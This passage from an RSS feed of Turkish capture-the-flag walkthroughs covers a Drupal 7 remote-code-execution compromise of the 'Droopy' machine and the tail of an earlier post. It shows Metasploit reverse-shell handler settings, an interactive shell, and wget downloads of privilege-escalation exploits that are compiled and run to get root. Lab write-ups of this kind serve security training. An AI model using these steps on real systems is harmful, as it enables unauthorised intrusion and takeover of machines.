src="https://cdn-images-1.medium.com/max/1024/1*Gb49-4d-49YrUxu2DhbGNA.png" /></figure><p>Eş zamanlı olarak multi handlerımızı açarak payload oluştururken belirttiğimiz 1453 portunu dinlemeye başlayalım.</p><blockquote>use multi/handler</blockquote><blockquote>set payload php/meterpreter/reverse_tcp</blockquote><blockquote>set LHOST 192.168.0.19</blockquote><blockquote>set LPORT 1453</blockquote><blockquote>run</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Znsb1gZEX1lAlvPtSxTmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ngcAHjUr2ZmgpoC0w1DOw.png" /></figure><p>Shellin upload edildiği sayfaya gittiğimizde multi handlerımıza meterpreter sekmesi geldi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*484HhpX3LzM-bqDaDRxChw.png" /></figure><blockquote>shell</blockquote><p>diyerek shell alıyoruz.</p><blockquote>python -c ‘import pty;pty.spawn(“/bin/bash”);’</blockquote><p>python kod parçacığı yazarak shellimizi interaktif yapıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AMRfcAIxb1c5UVNLVHrgAA.png" /></figure><p>/tmp klasörüne gidelim ve linux exploit suggester wget komutuyla indirelim</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3V-hIpVenKO47oooHBtt_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DTbqjugMA6yK2IthG2g76w.png" /></figure><p>Yetki yükseltmek için kullanabileceğimiz exploitlerden bazılarını bize listeledi.double-fdput() exploitini /tmp klasötüne indirelim compile edip çalıştıralım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d2OUhyAGR7cl7lORT43SnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5E-1QB4KLpD1Hm1_BaOw4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CLbNlC3Tv51ou17ABRY6hw.png" /></figure><p>double-fdput exploitini kullanarak yetki yükselttik ve root kullanıcısına geçmiş olduk..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d05ec6b0f6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Droopy:Makine Çözümü]]></title>
            <link>https://medium.com/@mustafagurkankarakaya/droopy-makine-%C3%A7%C3%B6z%C3%BCm%C3%BC-a44d86ae1f45?source=rss-befaf90d3d95------2</link>
            <guid isPermaLink="false">https://medium.com/p/a44d86ae1f45</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Mustafa Gürkan Karakaya]]></dc:creator>
            <pubDate>Sun, 07 Jun 2020 14:47:29 GMT</pubDate>
            <atom:updated>2020-06-07T14:47:29.617Z</atom:updated>
            <content:encoded><![CDATA[<p>Hedef makinenin IP adresini bulmak için netdiscover aracını kullanalım.nmap ile açık olan portları ve bu portların üzerinde çalışan servisleri öğrenelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pdlJhF1ytwn5dg576x3TBg.png" /></figure><p>80 portuna gidelim drupal login sayfası karşımıza geldi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TUJZpgdd8wHvUwDtxEog1w.png" /></figure><p>curl aracı ile sayfanın kaynak kodlarını çekelim.</p><blockquote>curl <a href="http://192.168.0.24/">http://192.168.0.24</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQNHgN5aRHEergKbxKxu1g.png" /></figure><p>Drupal 7 kullanıldığını görüyoruz.nikto taraması yapalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YlMLMN1nAyqPLzoE8M3aIQ.png" /></figure><p>robots.txt dizinine gidelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6PCcmR4Ak7o_sUF3zzw0wA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BIdVtLT5pXitq56w94gzbQ.png" /></figure><p>CHANGELOG.txt dizinine gittiğimizde burdan da drupal 7 kullanıldığını görebiliriz.Drupal exploitlerini metasploit ile arayalım.</p><blockquote>msfconsole</blockquote><blockquote>search drupal</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yhQsh7dEAPKzeF86_JlWCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h_IsB8LLPlLwWwQlGgJHeg.png" /></figure><blockquote>use 4</blockquote><blockquote>show options</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Jl_vbcaFx1uZWMSLOoD-w.png" /></figure><blockquote>set RHOSTS 192.168.0.24</blockquote><blockquote>exploit</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jK9DgMAKRR9vX-SlMx5nMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-kW_7TjEU0_oYRbBc-T_Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kteHdqT10wh5VmIN3_1w8w.png" /></figure><p>Bu exploit drupalda bulunan zafiyetten faydalanarak uzaktan kod çalıştırabilmeye(Remote code execution) olanak sağlamaktadır.Exploit kullanılarak metasploit üzerinden shell aldık.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*VQyiOk_AHGbtvfwcwtKHUg.png" /></figure><blockquote>python -c ‘import pty;pty.spawn(“/bin/bash”);’</blockquote><p>python kodu ile interactive shell aldık.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F9FT0mrjlFZ1WyziGnxLCw.png" /></figure><p>/tmp klasörüne gidip exploit suggesterı wget komutuyla indirelim.chmod komutuyla gerekli izinleri verdikten sonra çalıştıralım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A_vidudBldWtLaUo5AjVTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q-flk_aOO-ILospVUxGhxQ.png" /></figure><p>Sistemde yetki yükseltmek için bazı exploitleri listeledi.overflays exploitini kullanalım.</p><blockquote>python -m SimpleHTTPServer</blockquote><p>komutuyla http server oluşturup exploitdb den indirdiğimiz exploiti /tmp klasörüne wget komuuyla çekelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*EqBWcAVoPkSzNCHqHvsWeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3RSP78jaF1DwpQM9B-gv7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mIcILOD4eQiQOZ23Gyroqg.png" /></figure><blockquote>gcc -o exploit 37292.c</blockquote><blockquote>./exploit</blockquote><p>komutuyla exploiti derleyip çalıştıralım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0KmbJhvP4ljbNOXIwnIHkA.png" /></figure><p>Overflay exploitini kullanarak yetki yükseltme işlemi yapıp root olduk.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a44d86ae1f45" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>